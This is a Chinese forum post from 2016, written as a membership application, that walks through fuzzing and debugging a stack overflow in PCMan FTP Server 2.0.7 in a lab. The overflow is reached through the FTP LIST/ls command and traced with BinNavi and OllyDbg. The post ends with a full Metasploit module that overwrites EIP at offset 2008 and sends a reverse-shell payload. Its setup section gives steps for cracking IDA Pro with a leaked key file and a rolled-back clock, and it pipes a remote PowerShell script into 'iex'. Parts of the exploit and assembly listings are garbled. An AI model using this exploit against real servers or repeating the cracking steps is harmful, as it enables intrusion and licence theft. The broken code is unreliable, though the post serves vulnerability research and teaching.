发表于 2016-6-20 20:54

申请会员ID:quanyechavshuo

1、申 请 I D:quanyechavshuo
2、个人邮箱:quanyechavshuo@gmail.com
3、原创技术文章:pcman-ftp初战漏洞挖掘


0x01 install binnavihttps://github.com/google/binnavihttp://www.freebuf.com/sectool/75529.htmlhttps://github.com/google/binnavi/releaseshttp://malwareandmore.blogspot.kr/2015/08/binnavi-install-on-windows.htmlhttps://blog.because-security.com/t/development-environment-for-binnavi-with-a-package-manager-windows/34(better)直接下载https://github.com/google/binnavi/releases里面的binnavi-all.jar,放到windows下双击,运行不成功说明缺少环境,再从其他几个链接中学习安装使用教程https://www.zynamics.com/binnavi/manual/html/tutorial.htm    最佳安装方案:将binnavi安装到win2003上直接双击运行https://github.com/google/binnavi/releases中的binnavi-all.jar,并将这个链接里面的zynamics_binexport_9.plw和zynamics_binexport_9.p64放入idapro6.8的plugin目录中将这个链接https://github.com/google/binexport/releases里面的copy_to_ida_root_windows.zip解压后放到ida的根目录下ida pro6.8的安装如果因为没有注册使得ida pro无法加载binexport9插件(看不到Edit|Plugin|BinExport9说明没有加载成功),则替换ida安装目录下的ida.key文件为这个链接(https://gist.github.com/TheCjw/9f6f7544f33f292db20e)中的ida.key文件,并将系统时间改成若干年前完成ida pro的破解如果提示有什么问题,再根据https://blog.because-security.com/t/development-environment-for-binnavi-with-a-package-manager-windows/34这里面的方法安装缺失依赖,可能不用全部安装完就可以再次尝试直接双击binnavi-all.jar而成功运行安装postgresql到win2003上会失败,解决方法http://blog.itpub.net/29598413/viewspace-1258961/以上安装知识理应足够,如需还有这个链接http://pan.baidu.com/s/1c2Jmtag里面的readme.md文件有关于安装的问题,另外这个链接里面有大多数需要的依赖环境打包好了实例安装:(win2003)(事后觉得2中的命令可以不运行,因为binnavi-all.jar为最后编译的结果文件,而2中只是为了编译才做的过程)0.my_vinnavi从这里下载:http://pan.baidu.com/s/1c2Jmtag1.安装my_binnavi中的install binnavi on win2003里面的两个exe2.@powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))" && SET PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\binchoco install mavenchoco install antchoco install gradle3.安装jdk8(jdk6不成功),并添加对应C:\Program Files\Java\jdk1.8.0_91\bin和C:\Program Files\Java\jre1.8.0_91\bin到环境变量path,新建一个环境变量JAVA_HOME为C:\Program Files\Java\jdk1.8.0_91\4.安装idapro6.8,替换key文件,修改本机时间为几年前,将copy_to_ida_root_windows.zip里面的文件放入idapro根目录(重要,没有这步Edit|Plugin中看不到BinExport9),并将binexport的两个文件(zynamics_binexport_9.plw和zynamics_binexport_9.p64)放入idapro的plugin目录5.安装my_binnavi中的postgresql(x86),数据库用户名和密码设为postgres,将win2003中的c:\program files\postgresql目录设置为everyone有所有权限6.以管理员身份(否则在binnavi运行后无法import idb文件)运行binnavi-all.jar(win2003下右键以不受限方式打开cmd.exe,然后运行binnavi-all.jar)
0x02 fuzz target appabouttarget link:    https://www.exploit-db.com/exploits/39662/target ftp app(pcmanftp):    https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7zftp fuzz tool:    http://www.infigo.hr/files/ftpfuzz.zipchallenge:    尝试找到pcmanftp除了exploit-db中介绍的已经存在的漏洞以外其他的漏洞
fuzz1>安装ftpfuzz(实验中安装到192.168.3.77中)2>设置user为annoymous,pass为test3>只取list命令作为fuzz的对象4>只选择A作为fuzz的数据
https://raw.githubusercontent.com/xinghuacai/pic/master/fuzzftp.png0x03 binnavi使用方法0>binnavi安装在win2003上,ip:192.168.3.1761>新建一个project2>导入一个模块(ida生成的idb文件)    出现错误及安装binnavi解决方法可参考https://github.com/google/binnavi/issues/943>新建一个debugger:192.168.3.177:2222    192.168.3.77为安装ftpfuzz工具的一台win7机器,用于fuzz目标192.168.3.177上的pcmanftp    192.168.3.176为安装binnavi的机器,用于远程调试192.168.3.177上的ftp进程,并追踪ftp进程上的相关指令    192.168.3.177为目标ftp运行的机器,通过在192.168.3.177上安装idapro(6.8)加载该ftp进程后产生idb文件,将该idb文件复制到192.168.3.176(win2003)上用binnavi加载    为了实现在192.168.3.176上远程调试192.168.3.177的ftp,需要在192.168.3.177上运行:      https://github.com/google/binnavi/releases/download/v6.1.0/debugclient.exe      或      http://pan.baidu.com/s/1hsK0jwK中的debugclient.exe    在win7上不要用管理员权限运行,否则debugclient.exe会报断点错误,运行方法:      win+r      cmd      debugclient.exe pid4>初始化模块    双击图中的modules下面的pcmanftpd2.exe,或右键选择laod+initial,使得产生图中有Native Callgraph的面板,此时如果双击图中箭头指向的Native Callgraph可产生graph视图,并可从graph视图(图6)的菜单中选择windows下的debug perspective子项进行进程调试和指令追踪,此处不用这种方法,选择下面更好一点的方法5>产生grahp视图    双击NewProject,左键按住modules下的pcmanftpd2.exe并拖到NewProject下的Default address space上面,这样将会把导入的idb模块"对应放到"default address space中,然后可以右键单击defalut address space,选择create combined callgraph,此时将产生上面说的graph视图(图6),如果不用这种方法而用上面的方法则不能在defalut address space上右键选择create combined callgraph,binnavi会报错6>上面的graph视图窗口对应下面的图67>动态调试192.168.3.177上的ftp进程并追踪指令    在正常binnavi窗口中(非graph窗口):      在NewProject面板中选择并保存上面设置的debugger,如下图7      在Default address place面板中选择并保存上面设置的debugger,如下图7-2    在graph窗口中:      单击菜单中的windows,并选择debug perspective,将打开调试窗口,如下图7-3      单击下图7-4中的start debug开始进程调试      单击下图7-4中的start trace mode开始指令追踪      实验中binnavi版本为最新的6.1+ida pro6.8,安装在win2003系统上,此安装的binnavi有以下问题:            1.stop trace mode按钮只是前几次有效(eg.10次内的trace列表)            2.在1下先按stop trace mode再按start trace mode按钮可以实时刷新地跟踪指令            3.按下超过一定次数的start trace mode(一定trace列表数)2中情况不再有效,需要重新start debugger,这也意味着要重新在192.168.3.177中重新运行pcmanftp,并运行:                win+r                cmd                debugclient.exe pid            4.binnavi中使用指令追踪功能时除了上面2中的方法也可以通过删除trace列表里面的已存在的trace,然后重新按start trace mode,这样可以不用按像2中(stop trace mode再按start trace mode)而达到指令追踪的目的,192.168.3.177的win7上运行debugclient.exe pid时不用管理员身份运行虽然会报断点错误,但是好像实际实验中追踪效果更好,此点尚疑.一般情况下,每个应用都用管理员身份运行不易出错(debugclient.exe,pcmanftp,binnavi)
图1https://raw.githubusercontent.com/xinghuacai/pic/master/binnavi-1.png图2https://raw.githubusercontent.com/xinghuacai/pic/master/binnavi-2.png图3https://raw.githubusercontent.com/xinghuacai/pic/master/binnavi-3.png图4https://raw.githubusercontent.com/xinghuacai/pic/master/binnavi-4.png图5https://raw.githubusercontent.com/xinghuacai/pic/master/binnavi-5.png图6https://raw.githubusercontent.com/xinghuacai/pic/master/binnavi-6.png图7https://raw.githubusercontent.com/xinghuacai/pic/master/binnavi-7.png图7-2https://raw.githubusercontent.com/xinghuacai/pic/master/binnavi-7-2.png图7-3https://raw.githubusercontent.com/xinghuacai/pic/master/binnavi-7-3.png图7-4https://raw.githubusercontent.com/xinghuacai/pic/master/binnavi-7-4.png0x03 实战1>dep off实验中win7系统中默认dep关闭如下https://raw.githubusercontent.com/xinghuacai/pic/master/dep_close_on_win7.png追踪192.168.3.177中的pcmanftp进程的溢出指令1.运行192.168.3.177上的pcmanftp后用管理员权限运行clientdebug.exe pid,然后单击192.168.3.176上的graph视图窗口下的debug perspective下的start debug,开始远程调试pcmanftp2.单击start trace mode,binnavi下完断点后再单击start trace mode,此时binnavi中的trace列表如下图a,然后在192.168.3.77(另外一台win7,安装有ftpfuzz工具,用来fuzz目标192.168.3.177里的pcmanftp),事先设置fuzz数据为发送30,70...到9000个A,后来发现发送9000个A会使pcmanftp出错,于是最后设置fuzz数据为只发送9000个A,便于追踪出错的详细汇编语句,如下图b:
图ahttps://raw.githubusercontent.com/xinghuacai/pic/master/a.png图bhttps://raw.githubusercontent.com/xinghuacai/pic/master/fuzz-2.png3.完成2中的设置后在192.168.3.77中单击上图中的start按钮,用ftpfuzz发送9000个A,只选择LIST命令进行fuzz,fuzz结束后binnavi中对应trace列表如下图trace1,说明ftpfuzz与binnavi的数据交互中共产生了72个event,也即从发送anonymous登录到发送完LIST 9000xA命令后的event,但是这样不能精确追踪到关键溢出(发送9000个A)时的代码,不会将登录ftp的过程记录到event中,使得event有72个,较大,为了精确追踪到pcmanftp对9000个A的数据处理过程,需要过滤掉fuzzftp登录pcmanftp的过程,于是进行如下操作:    on 192.168.3.177:      关闭pcmanftp      打开pcmanftp    #如果不重新打开pcmanftp,客户端用anonymous登录时会报"too many users"错误      debugclient.exe pid    on kali:(192.168.3.106)      ftp      open 192.168.3.177      user:anonymous      pass:test    on binnavi(192.168.3.176)      start trace mode                #因为上面重新打开了pcmanftp,此处不用先stop trace mode,binnavi自动关闭了      start trace mode                #这条命令执行后trace列表如下图trace2    on kali:      LIST AAA...A(9000个)                #结果显示"Invalid command",再看binnavi中trace列表,发现没有新增,结果依然为下图strace2,认为是terminal终端下登录ftp和ftpfuzz工具有点不同,终端下登录可能被本地ftp客户端的程序发现命令不对先给截断了      on 192.168.3.177:      重新打开pcmanftp并debug   #重新追踪    on binnavi:      重新start debug,start trace mode,start trace mode    on kali:      ftp      open 192.168.3.177      user:anonymous      pass:test    on binnavi:      start trace mode            #上面annoymous登录后,运行这条命令前binnavi已记录kali中anonymous登录过程中的指令,在binnavi上运行这条命令后,再从kali中传输list Ax9000的命令则将会记录下list Ax9000这个过程中的指令    on kali:      ls AA..A(9000个)            #后来发现terminal下虽然list命令不可以成功,但可以ls 9000个A发送过去    on binnavi:      此时产生list 9000xA命令的trace指令列表,如下图trace3,说明list Ax9000这个命令运行后在pcmanftp上有7个event与之对应,此时eip已经被覆盖成41414141,说明大概到图trace3的sub_427350处已经覆盖了eip为41414141了,后来od跟踪发现确实如此      也即追踪到的关键event(指令)为:            sub_402B60            _atoi            _atoi            sub_405410            sub_427350
图trace1https://raw.githubusercontent.com/xinghuacai/pic/master/trace1.png图trace2https://raw.githubusercontent.com/xinghuacai/pic/master/trace2.png图trace3https://raw.githubusercontent.com/xinghuacai/pic/master/trace3.png    追踪到相关指令后此时binavi暂时退出,用od调试pcmanftp    on 192.168.3.177:      重新打开pcmanftp,od附加      f9      #此时单击屏幕底部的状态栏发现不能看到pcmanftp的主界面      ctrl+g:402b60--->f2      ctrl+g:405410--->f2               #405410处像是异常处理程序相关,下面是od中的数据,后来相通了,这显然是在构造se异常处理,将一个异常处理方法放入栈中,线程初始化时,会自动向栈中安装一个seh,用作线程的默认异常处理      -----------content of 405410------------      00405410/$6A FF         push -0x1      00405412|.68 292D4300   push PCManFTP.00432D29                   ;SE 处理程序安装      00405417|.64:A1 0000000>mov eax,dword ptr fs:[0]      0040541D|.50            push eax      0040541E|.64:8925 00000>mov dword ptr fs:[0],esp      00405425|.51            push ecx      00405426|.53            push ebx      00405427|.56            push esi                                 ;PCManFTP.00441250      00405428|.8BF1          mov esi,ecx      0040542A|.897424 08   mov dword ptr ss:0x8],esi         ;PCManFTP.00441250      0040542E|.E8 BD120000   call PCManFTP.004066F0      ---------------end----------------------      ctrl+g:427350--->f2    on kali:      ftp      open 192.168.3.177#发现此时不能显示ftp会话消息,像是pcmanftp"卡住了"    on 192.168.3.177's od:      alt+v      t      右键resume all threads            #此时可以单击状态栏中的pcmanftp可以显示pcmanftp主界面,且kali中也可以显示ftp会话信息,关于"卡住"以后为什么可以通过resume all threads来调试而"不影响"调试目的有以下猜想:            windows程序有消息响应机制,windows程序中的主线程一直在等待各个子线程的消息,如果某个子线程中断或者出故障了,可能会被主线程知道,然后主线程调用相应方法去处理这个出问题的子线程,这样就可以解释在下完402b60,405410,427350的断点后,发送ls Ax9000到pcmanftp,在od中一直按f9,却没有在某时刻可以看到eip=41414141,而最后由于的确存在某时刻eip=41414141,导致异常,最后弹出如下图error显示的错误对话框,对话框中显示出错原因为eip被41414141覆盖,这样大概是因为当eip在某时刻被41414141覆盖的时候,于是这个子线程出故障了,程序的主线程知道了这个消息,然后调用seh链中的异常处理程序,处理的结果就是弹出这样一个错误详细信息对话框
图errorhttps://raw.githubusercontent.com/xinghuacai/pic/master/error.pngon kali:    user:anonymous    pass:test    ls AAA..A(9000个)on 192.168.3.177'od:    此时中断在402b60处    在堆栈窗口中:ctrl+b查找AAAA      #提示没有找到    f9    此时中断在405410处    在堆栈窗口中:ctrl+b查找AAAA      #提示没有找到    f9    此时中断在427350处    在堆栈窗口中:ctrl+b查找AAAA      #提示找到,说明通过binnavi找到的这些event中,关键的覆盖eip的指令在405410到427350这两个断点之间    载pcmanftp,并重点关注405410到427350这两个断点之间会经过的指令    on 192.168.3.177's od:(重复以上加载并resume all threads过程直到中断到405410处)    ...    ...    ...    --------查找关键汇编指令方法---------    结过漫长的ctrl+f9,f8,时刻关注堆栈,寄存器,反汇编窗口指令等,在可疑函数f8单步步过后在堆栈窗口中ctrl+b查找AAAA    --------------end--------------------现从405410到427350两个断点之间的指令,如果通过f8,f7,ctrl+f9等的一步一步调试无法到达覆盖eip的关键指令处,而通过在405410断点处直接f9到427350处会经过覆盖eip的关键指令处,然而确无法单步调试到关键指令处.单步调试时指令经过流程为:    405410到427350,再由427350到427350    其中405410到427350流程中无法捕捉到覆盖eip的关键指令,于是指令开始在427350到427350之间一直循环,像是一个进程阻塞当中(eg.listen,accept),427350到427350也无法捕捉到覆盖eip的关键指令,在427350处f9到427350时,情况和下面的405410处f9到427350的情况一样但是,两个断点之间f9运行调试时:    在405410处f9到427350时,在堆栈窗口中ctrl+b:41414141却能找到41414141,说明f9运行时,的确经过了覆盖eip的关键指令出现以上这种现象暂时不能理解,猜测有可能是427350是一个循环等待的函数,并且与有时间相关,如果每次时间超过一定时间(单步调试程序某个线程等待造成时间较长),这个427350处的循环等待判断为无效,即只在一定时间内判定为有效循环等待(这样在427350处f9运行调试到427350处时可以在堆栈窗口捕获到AAAA就可以理解了)于是尝试在405410和427350下断点后(到此处不用在402b60处下断点了),f9运行pcmanftp,然后在kali中的terminal中ftp open 192.168.3.177登录,之后输入ls 9000xA命令,待od中中断到405410时,在od的汇编代码区右键查看所有模块间调用,并在所有模块间调用处下断点,然后一直f9运行调试pcmanftp,这样有可能会在堆栈区捕获到AAAA,具体步骤如下:on 192.168.3.177's od:    alt+f2      #关闭调试程序    重新运行pcmanftp并附加到od    ctrl+g:405410--->f2    ctrl+g:427350--->f2    f9on kali:    ftp    open 192.168.3.177on 192.168.3.177's od:    f9      #不是必须    alt+v    t    右键resume all threadson kali:    user:anonymous    pass:test    ls AAA..A(9000个)on 192.168.3.177's od:    自动中断在405410处    右键查找所有模块间调用    在每个命令上设置断点    alt+c    f9    ...    (alt+c后共输入123个f9)    此时观察到堆栈区第一次出现大长串AAAAAAAAAA,断点处在416685,也即在416685处的模块间调用开始出现AAAAAAA,如下图od1
图od1https://raw.githubusercontent.com/xinghuacai/pic/master/od1.png于是重新在405410,416685,427350处下断点,重点关注405410到416685后,在416685开始的指令流程,具体如下:on 192.168.3.177'od:    ctrl+g:405410--->f2    ctrl+g:427350--->f2    f9on kali:    ftp    open 192.168.3.177on 192.168.3.177'od:    alt+v    t    resume all threadson kali:    user:anonymous    pass:test    ls AA..A(9000个)on 192.168.3.177's od:    ctrl+g:416685--->f2    alt+c    此时自动中断在405410处    ------------output:-----------    00405410/$6A FF         push -0x1    00405412|.68 292D4300   push PCManFTP.00432D29                   ;SE 处理程序安装    00405417|.64:A1 0000000>mov eax,dword ptr fs:    0040541D|.50            push eax    --------------end-------------    f9    此时自动中断在416685处    -----------output:-----------    00416685|.FF15 58524300 call dword ptr ds:[<&KERNEL32.GetLastErr>;              ; /TlsIndex = 1A    00416691|.8BF8          mov edi,eax                              ; |    00416693|.FF15 98514300 call dword ptr ds:[<&KERNEL32.TlsGetValu>; \TlsGetValue    ------------end---------------    f9    此时又中断到416685处(不过堆栈窗口出现了AAAAAAA)    ------------output:-----------    00416685|.FF15 58524300 call dword ptr ds:[<&KERNEL32.GetLastErr>;              ; /TlsIndex = 1A    00416691|.8BF8          mov edi,eax                              ; |    00416693|.FF15 98514300 call dword ptr ds:[<&KERNEL32.TlsGetValu>; \TlsGetValue    --------------end--------------      此时对应的od中截图如下图od2:
图od2https://raw.githubusercontent.com/xinghuacai/pic/master/od2.pngesp下面的第一个返回到的地址为当前栈帧的返回地址,也即汇编窗口中004166e9处的retn要返回到的地址esp下面的第二个返回到的地址4029db为当前函数栈帧的上一函数栈帧中的retn要返回的地址esp下面的第三个返回到的地址4029ff为当前函数栈帧的上一函数的上一函数的栈帧中的retn要返回的地址此时堆栈窗口数据如下:    ----------------stack------------------    0018ED28   00000402    0018ED2C   004411DCASCII "    "    0018ED30   00412967返回到 PCManFTP.00412967 来自 PCManFTP.00416683    0018ED34   00000402    0018ED38   00000000    0018ED3C   00000000    0018ED40   0018ED68    0018ED44   0018ED64    0018ED48   00000000    0018ED4C   00000000    0018ED50   00001000    0018ED54   0018ED78ASCII "LIST AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...    0018ED58   01D817A0    0018ED5C   004029DB返回到 PCManFTP.004029DB 来自 wsock32.recv    0018ED60   01D817A0    0018ED64   004029EF返回到 PCManFTP.004029EF 来自 PCManFTP.00412956    0018ED68   0018ED78ASCII "LIST AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...    0018ED6C   004411DCASCII "    "    0018ED70   00000000    0018ED74   00000001    0018ED78   5453494C    0018ED7C   41414120    0018ED80   41414141    0018ED84   41414141    0018ED88   41414141    0018ED8C   41414141    -----------------end-------------------参照上一篇文章:http://xinghuacai.github.io/%E4%BA%8C%E8%BF%9B%E5%88%B6/2016/06/04/%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%85%A5%E9%97%A8-%E5%8A%A8%E6%80%81%E8%B7%9F%E8%B8%AA%E6%BA%90%E4%BB%A3%E7%A0%81%E5%92%8C%E5%8F%8D%E6%B1%87%E7%BC%96%E4%BB%A3%E7%A0%81/中的图stack0易知:      其中栈中0018ed8c以后很长一段数据都是41414141,由于此时中断到416685而堆栈窗口中首次出现AAAAAA数据,而堆栈窗口中最近的三个返回地址中00412976对应的是本函数栈帧(对应图od2)中的004166e9处的retn,这样的话,很有可能是本函数栈帧的上一帧函数(该函数内的retn对应返回到4029db)或者是上上一帧函数(该函数内的retn对应返回到4029ef)的返回地址被此时栈中的大长串A覆盖成41414141    当前eip对应的函数帧是00416683函数,当前函数帧的上一帧函数是wsock32.recv,wsock32.recv函数帧的上一函数帧的00412956函数,形如下面表示:    -----------------------------format:--------------------------------    00412956:(412956函数帧)            00412954:push ebp            xxxxxxxx:mov ebp,esp            xxxxxxxx:...            xxxxxxxx:...            xxxxxxxx:call wsock32.recv(这条汇编语句的下一条语句的地址为004029db)                     (wsock32.recv函数帧)                     recv's addr:push ebp                     xxxxxxxx:mov ebp,esp                     xxxxxxxx:...                     xxxxxxxx:...                     xxxxxxxx:call 00416683(这条汇编语句的下一条语句的地址为00412967)                                  (00416683函数帧,对应图od2中语句)                                  00416683:push ebp                                  xxxxxxxx:mov ebp,esp                                  xxxxxxxx:...                                  xxxxxxxx:...                                  00416685:call getlasterror                                  0041668b:push ds:                                  xxxxxxxx:...                                  xxxxxxxx:...                                  004166e9:retn(将返回到00412967)                                  ...                                  ...                     00412967:...(此处00412967对应为上面call 00416683语句中00416683函数的返回地址)                     ...                     ...                     xxxxxxxx:retn(将返回到004029db)                     ...                     ...            004029db:...(此处004029db对应为上面call wsock32.recv语句中wsock32.recv函数的返回地址)            ...            ...            xxxxxxxx:retn(将返回到004029ef)            ...            ...    004029ef:xxx(此处004029ef对应00412956函数桢中的retn语句要返回的地址)    -------------------------------end----------------------------------            所以有可能当前函数帧(对应图od2)中的汇编语句(执行到4166e9处的retn之前的语句)会导致栈中的两个返回地址(0018ed5c处的004029db和0018ed64处的004029ef)被覆盖,也有可能在wsock32.recv函数帧中某语句覆盖0018ed64处的004029ef,也有可能是本函数帧(00416683,正常情况下esp下面最近一个返回地址在od中显示来自于什么函数则当前eip在该函数帧中)的下一函数帧(也即还没执行到的函数,当前函数帧为最新函数帧)中的汇编语句覆盖两个返回地址或这两个返回地址下面比较远的返回地址等    于是重点关注堆栈窗口中的0018ed5c处的004029db和0018ed64处的004029ef是否可能会在当前函数帧中执行到004166e9之前或下一个将到达的函数帧中被改写成41414141    在od中f8单步调试时,遇到可疑指令如call xxx等,在堆栈窗口中ctrl+g(堆栈中跟随):0018ed5c或0018ed64,然后f8单步调试,具体如下操作:    ------------从图od2中情况下开始的操作-------------    f8    f8    ..    f8    执行到图od2中的004166e9处的retn时,0018ed5c和0018ed64处的返回地址都不变,继续f8跳到412967处,此时在wsock32.recv函数帧中,继续f8    f8    ..    f8    执行到412997处时,在到达这个函数帧中的rent语句前,所有的指令都在wsock32.recv函数帧中,0018ed5c中的返回地址由004029db被改成000000,也即wsock32.recv函数帧中的retn指令被执行时将返回到由004029db变成的00000000,此时栈帧已经被破坏,执行完wsock32.recv函数帧中的retn指令后,将跳到00000000执行,也即在当前帧(wsock32.recv函数帧)中执行到retn语句时,将发生错误,对应汇编指令为:      00412976    5F            pop edi      00412977    8A16            mov dl,byte ptr ds:      00412979    B3 01         mov bl,0x1      0041297B    0FB6CA          movzx ecx,dl    对应堆栈窗口中0018ed5c和0018ed64处的内容为:      0018ED58   00000000      0018ED5C   00000000      0018ED60   01D817A0      0018ED64   004029EF返回到 PCManFTP.004029EF 来自 PCManFTP.00412956      0018ED68   0018ED78ASCII "LIST AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...      0018ED6C   01D80F80    而当前函数帧中的retn语句在如下位置004129f9处:      004129F1    F7D8            neg eax      004129F3    1BC0            sbb eax,eax      004129F5    23C3            and eax,ebx      004129F7    5B            pop ebx      004129F8    C9            leave      004129F9    C3            retn    所以如果是要将堆栈窗口中0018ed5c处的004029db或0018ed64处的004029ef这两个返回地址覆盖成41414141有极大的可能是在当前函数帧的004129f9处的retn语句前完成,而0018ed64处被覆盖成41414141的可能性更大,因为0018ed5c处已经被覆盖成00000000了    f8    f8    ..    f8    在eip=004129f9前,单步执行到004129c1处    f8    f8    ..    f8执行到004129df,以jmp 到004129c1,也即004129c1到004129df相当于一个for循环,004129c1处开始到retn语句前的汇编指令如下:      004129C1    8A02            mov al,byte ptr ds:      004129C3    84C0            test al,al      004129C5    74 1E         je short PCManFTP.004129E5      004129C7    0FB6F0          movzx esi,al      004129CA    8BCE            mov ecx,esi      004129CC    6A 01         push 0x1      004129CE    23CF            and ecx,edi                              ; PCManFTP.00439C18      004129D0    58            pop eax                                  ; PCManFTP.00439C18      004129D1    D3E0            shl eax,cl      004129D3    C1EE 03         shr esi,0x3      004129D6    8A4C35 E0       mov cl,byte ptr ss:      004129DA    84C1            test cl,al      004129DC    75 03         jnz short PCManFTP.004129E1      004129DE    42            inc edx                                  ; ntdll_1a.7770B831      004129DF^ EB E0         jmp short PCManFTP.004129C1      004129E1    8022 00         and byte ptr ds:,0x0      004129E4    42            inc edx                                  ; ntdll_1a.7770B831      004129E5    8B45 0C         mov eax,dword ptr ss:      004129E8    5F            pop edi                                  ; PCManFTP.00439C18      004129E9    5E            pop esi                                  ; PCManFTP.00439C18      004129EA    8950 18         mov dword ptr ds:,edx          ; ntdll_1a.7770B831      004129ED    8BC3            mov eax,ebx      004129EF    2BC2            sub eax,edx                              ; ntdll_1a.7770B831      004129F1    F7D8            neg eax      004129F3    1BC0            sbb eax,eax      004129F5    23C3            and eax,ebx      004129F7    5B            pop ebx                                  ; PCManFTP.00439C18      004129F8    C9            leave      004129F9    C3            retn    -----------------end------------------------    直接在004129df的下一条语句004129e1上f4,发现f4以后eip直接跳到了00416685处的call getlasterror语句上,而不是f4执行到004129e1上,且f4以后0018ed5c处的004029db和0018ed64处的004029ef都被覆盖改写成41414141    说明004129c1到004129df为关键的复制过程,这个过程覆盖了0018ed5c处的004029db和0018ed64处的004029ef    然而在当前wsock32.recv函数帧中,如果覆盖返回地址,一般是只能覆盖到当前函数帧的上一函数帧的返回地址,即覆盖0018ed64处的004029ef,不明白为何连当前函数帧的返回地址也被覆盖成41414141了,这一点不解    猜测是由于windows的消息机制,程序的主线程监视到有函数的返回地址被覆盖成不可执行的地址41414141时,进入异常处理链开始执行(由于主线程优先级高,于是出问题后不去41414141处执行,也不去原来wsock32.recv函数帧当中按f4处的004129e1执行),发现没有专门对应的exception handler,最后调用unhandled exceptionfilter(后来f8单步发现是有call unhandled exceptionfilter)处理这个异常,最后弹出图error的对话框,认为有某一刻eip=41414141,但是这一刻没有在单步调试中出现,认为由004129e1处突然跳到了call getlasterror的过程中,实际上是先到eip=41414141处,然后再跳到到call getlasterror处,或许是由于这个过程太快或比较特殊而没有被od捕捉到因而没有遇到eip=41414141的时刻    但是现在不能确定是0018ed5c处被覆盖成的41414141还是0018ed64处被覆盖的41414141是真正的那一刻eip=41414141的时刻而引起的主线程优先进入异常处理    理论上是在004129e1处f4的时候,由于还在wsock32.recv函数帧当中,返回的先后顺序是先返回到0018ed5c处被覆盖的41414141再返回到0018ed64处被覆盖的41414141,然而0018ed5c原来被覆盖成00000000时是可以理解的,被覆盖成41414141是不可理解的,于是这两种可能性都不能确定    在内存中覆盖时AAAA的数据由0018e58e开始到0018ed64共2006个字节,由0018e58e开始到0018ed5c共1998个字节,重新发送1998xA+BBBB+CCCC+DDDD到pcmanftp,不用od加载,看看最后的error对话框中的异常位移是多少    向pcmanftp发送Ax1998+Bx4+Cx4+Dx4发现不能使pcmanftp停止工作,于是发送Ax1998+Bx4+Cx4+Dx4+Ex6990(共9000个字节),成功使之停止工作,但是弹出对应error图中对话框中的异常偏移为45444444,也即对应EDDD,这样应该是说明是0018ed64处的41414141被覆盖,但是又相差一个字节,不知是那里算错了,暂且不纠结于此      发送Ax1998+Bx4+Cx4+Dx4+F+Ex6989(共9000个字节),成功使之停止工作,且异常偏移显示为46444444,说明发送的9000个字节中,第2008到2011个字节处为覆盖eip处,构造exploit,发现与https://www.exploit-db.com/exploits/39662/链接中的偏移情况相同,都是在第2008-2011个字节处为覆盖返回地址的eip处,在这里填入jmp esp的地址后,再在后面填入用于反弹的shellcode即可,不同的是exploit-db中的是winxpsp3 eng环境,而此处环境为win7x64的中文系统环境      在192.168.3.177中运行pcmanftp后od附加,alt+e选择一个系统dll(实验中选择的是c:\windows\system32\ntdll.dll),在od中ctrl+f:jmp esp找到一个地址为77506aeb,构造的exploit如下:    -------------------------exploit.rb---------------------------------    ##    # This module requires Metasploit: http://metasploit.com/download    # Current source: https://github.com/rapid7/metasploit-framework    ##      require 'msf/core'      class Metasploit3 < Msf::Exploit::Remote      Rank = NormalRanking          include Msf::Exploit::Remote::Ftp          def initialize(info = {})      super(update_info(info,          'Name'         => 'PCMAN FTP Server Buffer Overflow - PUT Command',          'Description'    => %q{            This module exploits a buffer overflow vulnerability found in the PUT command of the            PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous            credientials are enabled.          },          'Author'         =>            [                'quanyechavshuo'            ],          'License'      => MSF_LICENSE,          'References'   =>            [            [ 'EDB',   '37731'],            [ 'OSVDB',   '94624']            ],          'DefaultOptions' =>            {            'EXITFUNC' => 'process'            },          'Payload'      =>            {            'Space'   => 1000,            'BadChars'=> "\x00\x0A\x0D",            },          'Platform'       => 'win',          'Targets'      =>            [            [ 'windows 7 x64',                {                  'Ret' => 0x776c2fe1, # jmp esp C:\WINDOWS\system32\ntdll.dll                  'Offset' => 2008                }            ],            ],          'DisclosureDate' => 'Aug 07 2015',          'DefaultTarget'=> 0))      end          def check      connect_login      disconnect            if /220 PCMan's FTP Server 2\.0/ === banner          Exploit::CheckCode::Appears      else          Exploit::CheckCode::Safe      end      end            def exploit      connect_login            print_status('Generating payload...')      sploit = rand_text_alpha(target['Offset'])            #tmp = sploit      #print_status(tmp)            sploit << .pack('V')      sploit << make_nops(16)      sploit << payload.encoded            tmp=sploit      print_status(tmp)            send_cmd( ["ls", sploit], false )      disconnect      end      end    ---------------------------end--------------------------------------exploit情况说明:    1.在实际msf中加载上面的exploit时,发现要应该对应第2009个字节开始为填充的jmp esp的地址,也即exploit代码中的填充随机覆盖的数据要有2008个,而不是原来认为的2007个    2.出现1中的情况认为可能是考虑覆盖偏移量时不应该从AAAA开始,要从ls命令开始,也即ls AAAA开始算    3.上面代码中没有发送共9000个字节的数据,用反弹的shellcode代替也可成功    4.win7系统重启后,jmp esp地址会改变,重启后代码中的jmp esp的地址不再合适    